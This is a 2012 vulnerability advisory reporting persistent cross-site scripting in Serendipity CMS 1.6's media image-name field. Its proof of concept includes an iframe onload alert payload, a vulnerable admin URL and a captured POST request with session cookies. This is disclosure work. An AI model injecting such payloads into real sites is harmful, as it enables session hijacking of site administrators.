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Serendipity CMS 1.6 Cross Site Scripting

Serendipity CMS 1.6 Cross Site Scripting
Posted May 12, 2012
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Serendipity CMS version 1.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 10b7368991d50674bb817ccf140405847e9ce14c0a0c273269026118e68149f0

Serendipity CMS 1.6 Cross Site Scripting

Change Mirror Download
Title:
======
Serendipity v1.6 CMS - Multiple Web Vulnerabilities


Date:
=====
2012-05-05


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=535


VL-ID:
=====
535


Common Vulnerability Scoring System:
====================================
5


Introduction:
=============
Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich
and open source (BSD License). Serendipity is constantly under active development, with a team of
talented developers trying to make the best PHP powered blog on the net. Serendipity has so far
also proven 100% PHP5 compatible. Serendipity is a PHP-powered weblog application which gives the
user an easy way to maintain an online diary, weblog or even a complete homepage. While the default
package is designed for the casual blogger, Serendipity offers a flexible, expandable and easy-to-use
framework with the power for professional applications.

(Copy of the Vendor Homepage: http://www.s9y.org )


Abstract:
=========
A Vulnerability Laboratory researcher discovered multiple web vulnerabilities in Serendipity v1.6 Content Management System.


Report-Timeline:
================
2012-05-05: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent input validation vulnerabilities are detected in Serendipity v1.6 Content Management System. The bugs
allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation
of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires
low user inter action. Attackers can inject malicious strings as author name to execute them when an admin is processing to preview, review
or manage the listing of users. The bug is located on application side & the execution is persistent out of the user management web
application context.

Vulnerable Module(s):
[+] Media - Image Name & Display

Picture(s):
../1.png
../2.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce ..

Vulnerable: http://127.0.0.1:8080/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new
Affected: http://127.0.0.1:8080/serendipity/a

Review: Image Name Display - Media
<ul><li><div class="image_add"><b>Adding image...</b></div></li><li>File was not located on the remote
server, are you sure the URL: <b>"><iframe src="a" onload='alert("VL")' <<="" b=""> is correct?</li></ul></div>

<!-- EXTERNAL MEDIA END -->

</div>
</body>
</html>
</iframe></b></li></ul>


POST: IMAGE UPLOAD + NAME

serendipity[old_session]=1vspimicug4mg0glab25l15q92;

serendipity[author_token]=4732db2a5cc1ee1b1fa39f2fd010a417e0d2d87e;

serendipity[userDefLang]=en;
serendipity[sortorder_perpage]=;

serendipity[sortorder_order]=;

serendipity[sortorder_ordermode]=;

serendipity[only_path]=iframesrcaonloadalertVL; <=
serendipity[only_filename]=;

serendipity[entrylist_filter_author]=;

serendipity[entrylist_filter_category]=;

serendipity[entrylist_filter_isdraft]=;

serendipity[entrylist_sort_perPage]=;

serendipity[entrylist_sort_ordermode]=;

serendipity[entrylist_sort_order]=;

serendipity[addmedia_directory]=;

__utma=87180614.499031553.1335326742.1335427622.1335434663.3;

__utmc=87180614;
__utmz=87180614.1335326742.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=4edf2e1e70d6571e:T=1335326758:S=ALNI_MZ40f1i0Ac4MSfN7hpqBqzaNtJIlA;

gs_u=1661731922:3115:9169:1335436134683;

__utmb=87180614.4.10.1335434663;
LThttpxxxcomlifetype=e1c0opti2n6u8apo30qhgrrdq2;
PHPSESSID=p4gs3t31a4bvjnsibk7284mhv2;
s9y_6ee12d7870b99d9e22c04f0f96d39992=1vspimicug4mg0glab25l15q92



Risk:
=====
The security risk of the persistent input validation vulnerability are estimated as medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (rem0ve@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply.

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Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.

Copyright © 2012 Vulnerability-Lab




--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

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